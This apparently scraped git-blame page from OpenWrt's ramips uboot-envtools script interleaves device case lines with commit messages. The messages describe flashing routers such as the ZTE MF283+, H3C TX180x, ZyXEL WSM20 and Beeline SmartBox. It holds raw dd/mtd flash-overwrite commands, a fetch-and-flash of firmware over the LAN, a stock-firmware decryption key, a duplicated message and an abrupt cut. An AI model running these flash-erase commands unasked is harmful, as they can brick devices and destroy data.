https://github.com/danitool/sercomm-recovery MAC Addresses ------------- +-----+------------+------------+ | use | address | example | +-----+------------+------------+ | LAN | label | *:72, *:d2 | | WAN | label + 11 | *:7d, *:dd | | 2g | label + 2 | *:74, *:d4 | | 5g | label + 3 | *:75, *:d5 | +-----+------------+------------+ The label MAC address was found in Factory 0x21000 Signed-off-by: Mikhail Zhilkin <csharper2005@gmail.com>
2022-11-02 08:44:46 +00:00
rostelecom,rt-sf-1)
ramips: add support for Beeline SmartBox GIGA Beeline SmartBox GIGA is a wireless WiFi 5 router manufactured by Sercomm company. Device specification -------------------- SoC Type: MediaTek MT7621AT RAM: 256 MiB, Nanya NT5CC128M16JR-EK Flash: 128 MiB, Macronix MX30LF1G18AC Wireless 2.4 GHz (MT7603EN): b/g/n, 2x2 Wireless 5 GHz (MT7613BE): a/n/ac, 2x2 Ethernet: 3 ports - 2xGbE (WAN, LAN1), 1xFE (LAN2) USB ports: 1xUSB3.0 Button: 1 button (Reset/WPS) PCB ID: DBE00B-1.6MM LEDs: 1 RGB LED Power: 12 VDC, 1.5 A Connector type: barrel Bootloader: U-Boot Installation ----------------- 1. Downgrade stock (Beeline) firmware to v.1.0.02; 2. Give factory OpenWrt image a shorter name, e.g. 1001.img; 3. Upload and update the firmware via the original web interface. Remark: You might need make the 3rd step twice if your running firmware is booted from the Slot 1 (Sercomm0 bootflag). The stock firmware reverses the bootflag (Sercomm0 / Sercomm1) on each firmware update. Revert to stock --------------- 1. Change the bootflag to Sercomm1 in OpenWrt CLI and then reboot: printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3 2. Optional: Update with any stock (Beeline) firmware if you want to overwrite OpenWrt in Slot 0 completely. MAC Addresses ------------- +-----+-----------+---------+ | use | address | example | +-----+-----------+---------+ | LAN | label | *:16 | | WAN | label + 1 | *:17 | | 2g | label + 4 | *:1a | | 5g | label + 5 | *:1b | +-----+-----------+---------+ The label MAC address was found in Factory 0x21000 Notes ----- 1. The following scripts are required for the build: sercomm-crypto.py - already exists in OpenWrt sercomm-partition-tag.py - already exists in OpenWrt sercomm-payload.py - already exists in OpenWrt sercomm-pid.py - new, the part of this pull request sercomm-kernel-header.py - new, the part of this pull request 2. This device (same as other Sercomm S2,S3-based devices) requires special LZMA and LOADADDR settings for successful boot: LZMA_TEXT_START=0x82800000 KERNEL_LOADADDR=0x81001000 LOADADDR=0x80001000 3. This device (same as several other Sercomm-based devices - Beeline, Netgear, Etisalat, Rostelecom) has partition map (mtd1) containing real partition offsets, which may differ from device to device depending on the number and location of bad blocks on NAND. "fixed-partitions" is used if the partition map is not found or corrupted. This behavour (it's the same as on stock firmware) is provided by MTD_SERCOMM_PARTS module. Signed-off-by: Mikhail Zhilkin <csharper2005@gmail.com>
2022-03-18 18:09:45 +00:00
ubootenv_add_uci_config "/dev/mtd0" "0x80000" "0x1000" "0x20000"
;;
buffalo,wsr-1166dhp|\
buffalo,wsr-600dhp|\
kroks,kndrt31r16|\
kroks,kndrt31r19|\
mediatek,linkit-smart-7688|\
samknows,whitebox-v8|\
xiaomi,mi-router-4c|\
xiaomi,miwifi-nano|\
ramips: add support for ZTE MF283+ ZTE MF283+ is a dual-antenna LTE category 4 router, based on Ralink RT3352 SoC, and built-in ZTE P685M PCIe MiniCard LTE modem. Hardware highlighs: - CPU: MIPS24KEc at 400MHz, - RAM: 64MB DDR2, - Flash: 16MB SPI, - Ethernet: 4 10/100M port switch with VLAN support, - Wireless: Dual-stream 802.11n (RT2860), with two internal antennas, - WWAN: Built-in ZTE P685M modem, with two internal antennas and two switching SMA connectors for external antennas, - FXS: Single ATA, with two connectors marked PHONE1 and PHONE2, internally wired in parallel by 0-Ohm resistors, handled entirely by internal WWAN modem. - USB: internal miniPCIe slot for modem, unpopulated USB A connector on PCB. - SIM slot for the WWAN modem. - UART connector for the console (unpopulated) at 3.3V, pinout: 1: VCC, 2: TXD, 3: RXD, 4: GND, settings: 57600-8-N-1. - LEDs: Power (fixed), WLAN, WWAN (RGB), phone (bicolor, controlled by modem), Signal, 4 link/act LEDs for LAN1-4. - Buttons: WPS, reset. Installation: As the modem is, for most of the time, provided by carriers, there is no possibility to flash through web interface, only built-in FOTA update and TFTP recovery are supported. There are two installation methods: (1) Using serial console and initramfs-kernel - recommended, as it allows you to back up original firmware, or (2) Using TFTP recovery - does not require disassembly. (1) Using serial console: To install OpenWrt, one needs to disassemble the router and flash it via TFTP by using serial console: - Locate unpopulated 4-pin header on the top of the board, near buttons. - Connect UART adapter to the connector. Use 3.3V voltage level only, omit VCC connection. Pin 1 (VCC) is marked by square pad. - Put your initramfs-kernel image in TFTP server directory. - Power-up the device. - Press "1" to load initramfs image to RAM. - Enter IP address chosen for the device (defaults to 192.168.0.1). - Enter TFTP server IP address (defaults to 192.168.0.22). - Enter image filename as put inside TFTP server - something short, like firmware.bin is recommended. - Hit enter to load the image. U-boot will store above values in persistent environment for next installation. - If you ever might want to return to vendor firmware, BACK UP CONTENTS OF YOUR FLASH NOW. For this router, commonly used by mobile networks, plain vendor images are not officially available. To do so, copy contents of each /dev/mtd[0-3], "firmware" - mtd3 being the most important, and copy them over network to your PC. But in case anything goes wrong, PLEASE do back up ALL OF THEM. - From under OpenWrt just booted, load the sysupgrade image to tmpfs, and execute sysupgrade. (2) Using TFTP recovery - Set your host IP to 192.168.0.22 - for example using: sudo ip addr add 192.168.0.22/24 dev <interface> - Set up a TFTP server on your machine - Put the sysupgrade image in TFTP server root named as 'root_uImage' (no quotes), for example using tftpd: cp openwrt-ramips-rt305x-zte_mf283plus-squashfs-sysupgrade.bin /srv/tftp/root_uImage - Power on the router holding BOTH Reset and WPS buttons held for around 5 seconds, until after WWAN and Signal LEDs blink. - Wait for OpenWrt to start booting up, this should take around a minute. Return to original firmware: Here, again there are two possibilities are possible, just like for installation: (1) Using initramfs-kernel image and serial console (2) Using TFTP recovery (1) Using initramfs-kernel image and serial console - Boot OpenWrt initramfs-kernel image via TFTP the same as for installation. - Copy over the backed up "firmware.bin" image of "mtd3" to /tmp/ - Use "mtd write /tmp/firmware.bin /dev/mtd3", where firmware.bin is your backup taken before OpenWrt installation, and /dev/mtd3 is the "firmware" partition. (2) Using TFTP recovery - Follow the same steps as for installation, but replacing 'root_uImage' with firmware backup you took during installation, or by vendor firmware obtained elsewhere. A few quirks of the device, noted from my instance: - Wired and wireless MAC addresses written in flash are the same, despite being in separate locations. - Power LED is hardwired to 3.3V, so there is no status LED per se, and WLAN LED is controlled by WLAN driver, so I had to hijack 3G/4G LED for status - original firmware also does this in bootup. - FXS subsystem and its LED is controlled by the modem, so it work independently of OpenWrt. Tested to work even before OpenWrt booted. I managed to open up modem's shell via ADB, and found from its kernel logs, that FXS and its LED is indeed controlled by modem. - While finding LEDs, I had no GPL source drop from ZTE, so I had to probe for each and every one of them manually, so this might not be complete - it looks like bicolor LED is used for FXS, possibly to support dual-ported variant in other device sharing the PCB. - Flash performance is very low, despite enabling 50MHz clock and fast read command, due to using 4k sectors throughout the target. I decided to keep it at the moment, to avoid breaking existing devices - I identified one potentially affected, should this be limited to under 4MB of Flash. The difference between sysupgrade durations is whopping 3min vs 8min, so this is worth pursuing. In vendor firmware, WWAN LED behaviour is as follows, citing the manual: - red - no registration, - green - 3G, - blue - 4G. Blinking indicates activity, so netdev trigger mapped from wwan0 to blue:wwan looks reasonable at the moment, for full replacement, a script similar to "rssileds" would need to be developed. Behaviour of "Signal LED" in vendor firmware is as follows: - Off - no signal, - Blinking - poor coverage - Solid - good coverage. A few more details on the built-in LTE modem: Modem is not fully supported upstream in Linux - only two CDC ports (DIAG and one for QMI) probe. I sent patches upstream to add required device IDs for full support. The mapping of USB functions is as follows: - CDC (QCDM) - dedicated to comunicating with proprietary Qualcomm tools. - CDC (PCUI) - not supported by upstream 'option' driver yet. Patch submitted upstream. - CDC (Modem) - Exactly the same as above - QMI - A patch is sent upstream to add device ID, with that in place, uqmi did connect successfully, once I selected correct PDP context type for my SIM (IPv4-only, not default IPv4v6). - ADB - self-explanatory, one can access the ADB shell with a device ID added to 51-android.rules like so: SUBSYSTEM!="usb", GOTO="android_usb_rules_end" LABEL="android_usb_rules_begin" SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", ATTR{idProduct}=="1275", ENV{adb_user}="yes" ENV{adb_user}=="yes", MODE="0660", GROUP="plugdev", TAG+="uaccess" LABEL="android_usb_rules_end" While not really needed in OpenWrt, it might come useful if one decides to move the modem to their PC to hack it further, insides seem to be pretty interesting. ADB also works well from within OpenWrt without that. O course it isn't needed for normal operation, so I left it out of DEVICE_PACKAGES. Signed-off-by: Lech Perczak <lech.perczak@gmail.com> [remove kmod-usb-ledtrig-usbport, take merged upstream patches] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2021-02-06 12:56:46 +00:00
zbtlink,zbt-wg2626|\
zte,mf283plus)
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x1000" "0x10000"
;;
asus,rt-ax53u|\
asus,rt-ax54|\
belkin,rt1800|\
ramips: add support for H3C TX1800 Plus / TX1801 Plus / TX1806 H3C TX180x series WiFi6 routers are customized by different carrier. While these three devices look different, they use the same motherboard inside. Another minor difference comes from the model name definition in the u-boot environment variable. Specifications: SOC: MT7621 + MT7915 ROM: 128 MiB RAM: 256 MiB LED: status *2 Button: reset *1 + wps/mesh *1 Ethernet: lan *3 + wan *1 (10/100/1000Mbps) TTL Baudrate: 115200 TFTP server IP: 192.168.124.99 MAC Address: use address(sample 1) address(sample 2) source label 88:xx:xx:98:xx:12 88:xx:xx:a2:xx:a5 u-boot-env@ethaddr lan 88:xx:xx:98:xx:13 88:xx:xx:a2:xx:a6 $label +1 wan 88:xx:xx:98:xx:12 88:xx:xx:a2:xx:a5 $label WiFi4_2G 8a:xx:xx:58:xx:14 8a:xx:xx:52:xx:a7 (Compatibility mode) WiFi5_5G 8a:xx:xx:b8:xx:14 8a:xx:xx:b2:xx:a7 (Compatibility mode) WiFi6_2G 8a:xx:xx:18:xx:14 8a:xx:xx:12:xx:a7 WiFi6_5G 8a:xx:xx:78:xx:14 8a:xx:xx:72:xx:a7 Compatibility mode is used to guarantee the connection of old devices that only support WiFi4 or WiFi5. TFTP + TTL Installation: Although a TTL connection is required for installation, we do not need to tear down it. We can find the TTL port from the cooling hole at the bottom. It is located below LAN3 and the pins are defined as follows: |LAN1|LAN2|LAN3|----|WAN| -------------------- |GND|TX|RX|VCC| 1. Set tftp server IP to 192.168.124.99 and put initramfs firmware in server's root directory, rename it to a simple name "initramfs.bin". 2. Plug in the power supply and wait for power on, connect the TTL cable and open a TTL session, enter "reboot", then enter "Y" to confirm. Finally push "0" to interruput boot while booting. 3. Execute command to install a initramfs system: # tftp 0x80010000 192.168.124.99:initramfs.bin # bootm 0x80010000 4. Backup nand flash by OpenWrt LuCI or dd instruction. We need those partitions if we want to back to stock firmwre due to official website does not provide download link. # dd if=/dev/mtd1 of=/tmp/u-boot-env.bin # dd if=/dev/mtd4 of=/tmp/firmware.bin 5. Edit u-boot env to ensure use default bootargs and first image slot: # fw_setenv bootargs # fw_setenv bootflag 0 6. Upgrade sysupgrade firmware. 7. About restore stock firmware: flash the "firmware" and "u-boot-env" partitions that we backed up in step 4. # mtd write /tmp/u-boot-env.bin u-boot-env # mtd write /tmp/firmware.bin firmware Additional Info: The H3C stock firmware has a 160-byte firmware header that appears to use a non-standard CRC32 verification algorithm. For this part of the data, the u-boot does not check it so we can just directly replace it with a placeholder. Signed-off-by: Shiji Yang <yangshiji66@qq.com>
2022-03-20 15:42:37 +00:00
h3c,tx1800-plus|\
h3c,tx1801-plus|\
h3c,tx1806|\
jcg,q20|\
linksys,e7350|\
ramips: mt7621: add support for ZyXEL WSM20 The ZyXEL WSM20 aka Multy M1 is a cheap mesh router system by ZyXEL based on the MT7621 CPU. Specifications ============== SoC: MediaTek MT7621AT (880MHz) RAM: 256MiB Flash: 128MiB NAND Wireless: 802.11ax (2x2 MT7915E DBDC) Ethernet: 4x 10/100/1000 (MT7530) Button: 1x WPS, 1x Reset, 1x LED On/Off LED: 7 LEDs (3x white, 2x red, 2x green) MAC address assignment ====================== The MAC address assignment follows stock: The label MAC address is the LAN MAC address, the WAN address is read from flash. The WiFi MAC addresses are set in userspace to label MAC + 1 and label MAC + 2. Installation (web interface) ============================ The device is cloud-managed, but there is a hidden local firmware upgrade page in the OEM web interface. The device has to be registered in the cloud in order to be able to access this page. The system has a dual firmware design, there is no way to tell which firmware is currently booted. Therefore, an -initramfs version is flashed first. 1. Log into the OEM web GUI 2. Access the hidden upgrade page by navigating to https://192.168.212.1/gui/#/main/debug/firmwareupgrade 3. Upload the -initramfs-kernel.bin file and flash it 4. Wait for OpenWrt to boot and log in via SSH 5. Transfer the sysupgrade file via SCP 6. Run sysupgrade to install the image 7. Reboot and enjoy NB: If the initramfs version was installed in RAS2, the sysupgrade script sets the boot number to the first partition. A backup has to be performed manually in case the OEM firwmare should be kept. Installation (UART method) ========================== The UART method is more difficult, as the boot loader does not have a timeout set. A semi-working stock firmware is required to configure it: 1. Attach UART 2. Boot the stock firmware until the message about failsafe mode appears 3. Enter failsafe mode by pressing "f" and "Enter" 4. Type "mount_root" 5. Run "fw_setenv bootmenu_delay 3" 6. Reboot, U-Boot now presents a menu 7. The -initramfs-kernel.bin image can be flashed using the menu 8. Run the regular sysupgrade for a permanent installation Changing the partition to boot is a bit cumbersome in U-Boot, as there is no menu to select it. It can only be checked using mstc_bootnum. To change it, issue the following commands in U-Boot: nand read 1800000 53c0000 800 mw.b 1800004 1 1 nand erase 53c0000 800 nand write 1800000 53c0000 800 This selects FW1. Replace "mw.b 1800004 1 1" by "mw.b 1800004 2 1" to change to the second slot. Back to stock ============= It is possible to flash back to stock, but a OEM firmware upgrade is required. ZyXEL does not provide the link on its website, but the link can be acquired from the OEM web GUI by analyzing the transferred JSON objects. It is then a matter of writing the firmware to Kernel2 and setting the boot partition to FW2: mtd write zyxel.bin Kernel2 echo -ne "\x02" | dd of=/dev/mtdblock7 count=1 bs=1 seek=4 conv=notrunc Signed-off-by: Andreas Böhler <dev@aboehler.at> Credits to forum users Annick and SirLouen for their initial work on this device
2023-04-04 17:41:26 +00:00
netgear,wax202|\
zyxel,wsm20)
ramips: add support for H3C TX1800 Plus / TX1801 Plus / TX1806 H3C TX180x series WiFi6 routers are customized by different carrier. While these three devices look different, they use the same motherboard inside. Another minor difference comes from the model name definition in the u-boot environment variable. Specifications: SOC: MT7621 + MT7915 ROM: 128 MiB RAM: 256 MiB LED: status *2 Button: reset *1 + wps/mesh *1 Ethernet: lan *3 + wan *1 (10/100/1000Mbps) TTL Baudrate: 115200 TFTP server IP: 192.168.124.99 MAC Address: use address(sample 1) address(sample 2) source label 88:xx:xx:98:xx:12 88:xx:xx:a2:xx:a5 u-boot-env@ethaddr lan 88:xx:xx:98:xx:13 88:xx:xx:a2:xx:a6 $label +1 wan 88:xx:xx:98:xx:12 88:xx:xx:a2:xx:a5 $label WiFi4_2G 8a:xx:xx:58:xx:14 8a:xx:xx:52:xx:a7 (Compatibility mode) WiFi5_5G 8a:xx:xx:b8:xx:14 8a:xx:xx:b2:xx:a7 (Compatibility mode) WiFi6_2G 8a:xx:xx:18:xx:14 8a:xx:xx:12:xx:a7 WiFi6_5G 8a:xx:xx:78:xx:14 8a:xx:xx:72:xx:a7 Compatibility mode is used to guarantee the connection of old devices that only support WiFi4 or WiFi5. TFTP + TTL Installation: Although a TTL connection is required for installation, we do not need to tear down it. We can find the TTL port from the cooling hole at the bottom. It is located below LAN3 and the pins are defined as follows: |LAN1|LAN2|LAN3|----|WAN| -------------------- |GND|TX|RX|VCC| 1. Set tftp server IP to 192.168.124.99 and put initramfs firmware in server's root directory, rename it to a simple name "initramfs.bin". 2. Plug in the power supply and wait for power on, connect the TTL cable and open a TTL session, enter "reboot", then enter "Y" to confirm. Finally push "0" to interruput boot while booting. 3. Execute command to install a initramfs system: # tftp 0x80010000 192.168.124.99:initramfs.bin # bootm 0x80010000 4. Backup nand flash by OpenWrt LuCI or dd instruction. We need those partitions if we want to back to stock firmwre due to official website does not provide download link. # dd if=/dev/mtd1 of=/tmp/u-boot-env.bin # dd if=/dev/mtd4 of=/tmp/firmware.bin 5. Edit u-boot env to ensure use default bootargs and first image slot: # fw_setenv bootargs # fw_setenv bootflag 0 6. Upgrade sysupgrade firmware. 7. About restore stock firmware: flash the "firmware" and "u-boot-env" partitions that we backed up in step 4. # mtd write /tmp/u-boot-env.bin u-boot-env # mtd write /tmp/firmware.bin firmware Additional Info: The H3C stock firmware has a 160-byte firmware header that appears to use a non-standard CRC32 verification algorithm. For this part of the data, the u-boot does not check it so we can just directly replace it with a placeholder. Signed-off-by: Shiji Yang <yangshiji66@qq.com>
2022-03-20 15:42:37 +00:00
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x20000" "0x20000"
;;
ramips: add support for SIM SIMAX1800T and Haier HAR-20S2U1 SIM AX18T and Haier HAR-20S2U1 Wi-Fi6 AX1800 routers are designed based on Tenbay WR1800K. They have the same hardware circuits and u-boot. SIM AX18T has three carrier customized models: SIMAX1800M (China Mobile), SIMAX1800T (China Telecom) and SIMAX1800U (China Unicom). All of these models run the same firmware. Specifications: SOC: MT7621 + MT7905 + MT7975 ROM: 128 MiB RAM: 256 MiB LED: status *3 R/G/B Button: reset *1 + wps/mesh *1 Ethernet: lan *3 + wan *1 (10/100/1000Mbps) TTL Baudrate: 115200 TFTP Server: 192.168.1.254 TFTP IP: 192.168.1.28 or 192.168.1.160 (when envs is broken) MAC Address: use address source label 30:xx:xx:xx:xx:62 wan lan 30:xx:xx:xx:xx:65 factory.0x8004 wan 30:xx:xx:xx:xx:62 factory.0x8004 -3 wlan2g 30:xx:xx:xx:xx:64 factory.0x0004 wlan5g 32:xx:xx:xx:xx:64 factory.0x0004 set 7th bit TFTP Installation (initramfs image only & recommend): 1. Set local tftp server IP: 192.168.1.254 and NetMask: 255.255.255.0 2. Rename initramfs-kernel.bin to "factory.bin" and put it in the root directory of the tftp server. (tftpd64 is a good choice for Windows) 3. Start the TFTP server, plug in the power supply, and wait for the system to boot. 4. Backup "firmware" partition and rename it to "firmware.bin", we need it to back to stock firmware. 5. Use "fw_printenv" command to list envs. If "firmware_select=2" is observed then set u-boot enviroment: /# fw_setenv firmware_select 1 6. Apply sysupgrade.bin in OpenWrt LuCI. Web UI Installation: 1. Apply update by uploading initramfs-factory.bin to the web UI. 2. Use "fw_printenv" command to list envs. If "firmware_select=2" is observed then set u-boot enviroment: /# fw_setenv firmware_select 1 3. Apply squashfs-sysupgrade.bin in OpenWrt LuCI. Recovery to stock firmware: a. Upload "firmware.bin" to OpenWrt /tmp, then execute: /# mtd -r write /tmp/firmware.bin firmware b. We can also write factory image "UploadBrush-bin.img" to firmware partition to recovery. Upload image file to /tmp, then execute: /# mtd erase firmware /# mtd -r write /tmp/UploadBrush-bin.img firmware How to extract stock firmware image: Download stock firmware, then use openssl: openssl aes-256-cbc -d -salt -in [Downloaded_Firmware] \ -out "firmware.tar.tgz" -k QiLunSmartWL Signed-off-by: Chen Minqiang <ptpt52@gmail.com> Signed-off-by: Shiji Yang <yangshiji66@qq.com>
2022-09-15 17:10:52 +00:00
haier,har-20s2u1|\
sim,simax1800t)
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x20000" "0x20000"
ubootenv_add_uci_sys_config "/dev/mtd1" "0x40000" "0x40000" "0x20000"
;;
ramips: fix partitions and boot for RAVPower RP-WD03 The RAVPower RP-WD03 is a battery powered router, with an Ethernet and USB port. Due due a limitation in the vendor supplied U-Boot bootloader, we cannot exceed a 1.5 MB kernel size, as is the case with recent builds (i.e. post v19.07). This breaks both factory and sysupgrade images. To address this, use the lzma loader (loader-okli) to work around this limitation. The improvements here also address the "misplaced" U-Boot environment partition, which is located between the kernel and rootfs in the stock image / implementation. This is addressed by making use of mtd-concat, maximizing space available in the booted image. This will make sysupgrade from earlier versions impossible. Changes are based on the recently supported HooToo HT-TM05, as the hardware is almost identical (except for RAM size) and is from the same vendor (SunValley). While at it, also change the SPI frequency accordingly. Installation: - Download the needed OpenWrt install files, place them in the root of a clean TFTP server running on your computer. Rename the files as, - openwrt-ramips-mt7620-ravpower_rp-wd03-squashfs-kernel.bin => kernel - openwrt-ramips-mt7620-ravpower_rp-wd03-squashfs-rootfs.bin => rootfs - Plug the router into your computer via Ethernet - Set your computer to use 10.10.10.254 as its IP address - With your router shut down, hold down the power button until the first white LED lights up. - Push and hold the reset button and release the power button. Continue holding the reset button for 30 seconds or until it begins searching for files on your TFTP server, whichever comes first. - The router (10.10.10.128) will look for your computer at 10.10.10.254 and install the two files. Once it has finished installation, it will automatically reboot and start up OpenWrt. - Set your computer to use DHCP for its IP address Notes: - U-Boot environment can be modified, u-boot-env is preserved on initial install or sysupgrade - mtd-concat functionality is included, to leave a "hole" for u-boot-env, combining the OEM kernel and rootfs partitions Most of the changes in this commit are the work of Russell Morris (as credited below), I only wrapped them up and added compat-version. Thanks to @mpratt14 and @xabolcs for their help getting the lzma loader to work! Fixes: 5ef79af4f80f ("ramips: add support for Ravpower WD03") Suggested-by: Russell Morris <rmorris@rkmorris.us> Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-09-11 15:40:46 +00:00
hootoo,ht-tm05|\
ravpower,rp-wd03)
ramips: add support for HooToo HT-TM05 The HooToo HT-TM05 is a battery powered router, with an Ethernet and USB port. Vendor U-Boot limited to 1.5 MB kernel size, so use lzma loader (loader-okli). Specifications: SOC: MediaTek MT7620N BATTERY: 10400mAh WLAN: 802.11bgn LAN: 1x 10/100 Mbps Ethernet USB: 1x USB 2.0 (Type-A) RAM: 64 MB FLASH: GigaDevice GD25Q64, Serial 8 MB Flash, clocked at 50 MHz Flash itself specified to 80 MHz, but speed limited by mt7620 SPI fast-read enabled (m25p) LED: Status LED (blue after boot, green with WiFi traffic 4 leds to indicate power level of the battery (unable to control) INPUT: Power, reset button MAC assignment based on vendor firmware: 2.4 GHz *:b4 (factory 0x04) LAN/label *:b4 (factory 0x28) WAN *:b5 (factory 0x2e) Tested and working: - Ethernet - 2.4 GHz WiFi (Correct MAC-address) - Installation from TFTP (recovery) - OpenWRT sysupgrade (Preserving and non-preserving), through the usual ways: command line and LuCI - LEDs (except as noted above) - Button (reset) - I2C, which is needed for reading battery charge status and level - U-Boot environment / variables (from U-Boot, and OpenWrt) Installation: - Download the needed OpenWrt install files, place them in the root of a clean TFTP server running on your computer. Rename the files as, - ramips-mt7620-hootoo_tm05-squashfs-kernel.bin => kernel - ramips-mt7620-hootoo_tm05-squashfs-rootfs.bin => rootfs - Plug the router into your computer via Ethernet - Set your computer to use 10.10.10.254 as its IP address - With your router shut down, hold down the power button until the first white LED lights up. - Push and hold the reset button and release the power button. Continue holding the reset button for 30 seconds or until it begins searching for files on your TFTP server, whichever comes first. - The router (10.10.10.128) will look for your computer at 10.10.10.254 and install the two files. Once it has finished installation, it will automatically reboot and start up OpenWrt. - Set your computer to use DHCP for its IP address Notes: - U-Boot environment can be modified, u-boot-env is preserved on initial install or sysupgrade - mtd-concat functionality is included, to leave a "hole" for u-boot-env, combining the OEM kernel and rootfs partitions I would like to thank @mpratt14 and @xabolcs for their help getting the lzma loader to work! Signed-off-by: Russell Morris <rmorris@rkmorris.us> [drop changes in image/Makefile, fix indent and PKG_RELEASE in uboot-envtools, fix LOADER_FLASH_OFFS, minor commit message facelift, add COMPILE to Device/Default] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-12-25 00:38:36 +00:00
idx="$(find_mtd_index u-boot-env)"
[ -n "$idx" ] && \
ubootenv_add_uci_config "/dev/mtd$idx" "0x4000" "0x1000" "0x1000"
;;
ramips: add support for Beeline SmartBox Flash Beeline SmartBox Flash is a wireless AC1300 (WiFi 5) router manufactured by Arcadyan company. Device specification -------------------- SoC Type: MediaTek MT7621AT RAM: 256 MiB, Winbond W632GU6NB Flash: 128 MiB (NAND), Winbond W29N01HVSINF Wireless 2.4 GHz (MT7615DN): b/g/n, 2x2 Wireless 5 GHz (MT7615DN): a/n/ac, 2x2 Ethernet: 3xGbE (WAN, LAN1, LAN2) USB ports: 1xUSB3.0 Button: 1 (Reset/WPS) LEDs: 1 RGB LED Power: 12 VDC, 1.5 A Connector type: Barrel Bootloader: U-Boot (Ralink UBoot Version: 5.0.0.2) OEM: Arcadyan WE42022 Installation ------------ 1. Place *factory.trx on any web server (192.168.1.2 in this example) 2. Connect to the router using telnet shell (no password required) 3. Save MAC adresses to U-Boot environment: uboot_env --set --name eth2macaddr --value $(ifconfig | grep eth2 | \ awk '{print $5}') uboot_env --set --name eth3macaddr --value $(ifconfig | grep eth3 | \ awk '{print $5}') uboot_env --set --name ra0macaddr --value $(ifconfig | grep ra0 | \ awk '{print $5}') uboot_env --set --name rax0macaddr --value $(ifconfig | grep rax0 | \ awk '{print $5}') 4. Ensure that MACs were saved correctly: uboot_env --get --name eth2macaddr uboot_env --get --name eth3macaddr uboot_env --get --name ra0macaddr uboot_env --get --name rax0macaddr 5. Download and write the OpenWrt images: cd /tmp wget http://192.168.1.2/factory.trx mtd_write erase /dev/mtd4 mtd_write write factory.trx /dev/mtd4 6. Set 1st boot partition and reboot: uboot_env --set --name bootpartition --value 0 reboot Back to Stock ------------- 1. Run in the OpenWrt shell: fw_setenv bootpartition 1 reboot 2. Optional step. Upgrade the stock firmware with any version to overwrite the OpenWrt in Slot 1. MAC addresses ------------- +-----------+-------------------+----------------+ | Interface | MAC | Source | +-----------+-------------------+----------------+ | label | 30:xx:xx:51:xx:09 | No MACs was | | LAN | 30:xx:xx:51:xx:09 | found on Flash | | WAN | 30:xx:xx:51:xx:06 | [1] | | WLAN_2g | 30:xx:xx:51:xx:07 | | | WLAN_5g | 32:xx:xx:41:xx:07 | | +-----------+-------------------+----------------+ [1]: a. Label wasb't found neither in factory nor in other places. b. MAC addresses are stored in encrypted partition "glbcfg". Encryption key hasn't known yet. To ensure the correct MACs in OpenWrt, a hack with saving of the MACs to u-boot-env during the installation was applied. c. Default Ralink ethernet MAC address (00:0C:43:28:80:36) was found in "Factory" 0xfff0. It's the same for all Smartbox Flash devices. OEM firmware also uses this MAC when initialazes ethernet driver. In OpenWrt we use it only as internal GMAC (eth0), all other MACs are unique. Therefore, there is no any barriers to the operation of several Smartbox Flash devices even within the same broadcast domain. Stock firmware image format --------------------------- +--------------+---------------+----------------------------------------+ | Offset | 1.0.15 | Description | +==============+===============+========================================+ | 0x0 | 5d 43 6f 74 | TRX magic "]Cot" | +--------------+---------------+----------------------------------------+ | 0x4 | 00 70 ff 00 | Length (reverse) | +--------------+---------------+----------------------------------------+ | | | htonl(~crc) from 0xc ("flag_version") | | 0x8 | 72 b3 93 16 | to "Length" | +--------------+---------------+----------------------------------------+ | 0xc | 00 00 01 00 | Flags | +--------------+---------------+----------------------------------------+ | | | Offset (reverse) of Kernel partition | | 0x10 | 1c 00 00 00 | from the start of the header | +--------------+---------------+----------------------------------------+ | | | Offset (reverse) of RootFS partition | | 0x14 | 00 00 42 00 | from the start of the header | +--------------+---------------+----------------------------------------+ | 0x18 | 00 00 00 00 | Zeroes | +--------------+---------------+----------------------------------------+ | 0x1c | 27 05 19 56 … | Kernel data + zero padding | +--------------+---------------+----------------------------------------+ | | | RootFS data (starting with "hsqs") + | | 0x420000 | 68 73 71 73 … | zero padding to "Length" | +--------------+---------------+----------------------------------------+ | | | Some signature data (format is | | | | unknown). Necessary for the fw | | "Lenght" | 00 00 00 00 … | update via oem fw web interface. | +--------------+---------------+----------------------------------------+ | "Lenght" + | | TRX magic "HDR0". U-Boot is | | 0x10c | 48 44 52 30 | checking it at every boot. | +--------------+---------------+----------------------------------------+ | | | 1.00: | | | | Zero padding to ("Lenght" + 0x23000) | | | | 1.0.12: | | | | Zero padding to ("Lenght" + 0x2a000) | | "Lenght" + | | 1.0.13, 1.0.15, 1.0.16: | | 0x110 | 00 00 00 00 | Zero padding to ("Lenght" + 0x10000) | +--------------+---------------+----------------------------------------+ Signed-off-by: Mikhail Zhilkin <csharper2005@gmail.com>
2022-01-05 13:11:56 +00:00
beeline,smartbox-flash|\
linksys,ea6350-v4|\
linksys,ea7300-v1|\
linksys,ea7300-v2|\
ramips: add support for Linksys EA7500 v2 The Linksys EA7500 v2 is advertised as AC1900, but its internal hardware is AC2600 capable. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 256M (Nanya NT5CC128M16IP-DI) FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI) ETH: 5x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615N (4x4:4) - 5GHz: 1x MT7615N (4x4:4) - 4 antennas: 3 external detachable antennas and 1 internal USB: - 1x USB 3.0 - 1x USB 2.0 BTN: - 1x Reset button - 1x WPS button LEDS: - 1x White led (Power) - 6x Green leds (link lan1-lan4, link wan, wps) - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable) Everything works correctly. Installation ------------ The “factory” openwrt image can be flashed directly from OEM stock firmware. After the flash the router will reboot automatically. However, due to the dual boot system, the first installation could fail (if you want to know why, read the footnotes). If the flash succeed and you can reach OpenWrt through the web interface or ssh, you are done. Otherwise the router will try to boot 3 times and then will automatically boot the OEM firmware (don’t turn off the router. Simply wait and try to reach the router through the web interface every now and then, it will take few minutes). After this, you should be back in the OEM firmware. Now you have to flash the OEM Firmware over itself using the OEM web interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img downloaded from the Linksys website). When the router reboots flash the “factory” OpenWrt image and this time it should work. After the OpenWrt installation you have to use the sysupgrade image for future updates. Restore OEM Firmware -------------------- After the OpenWrt 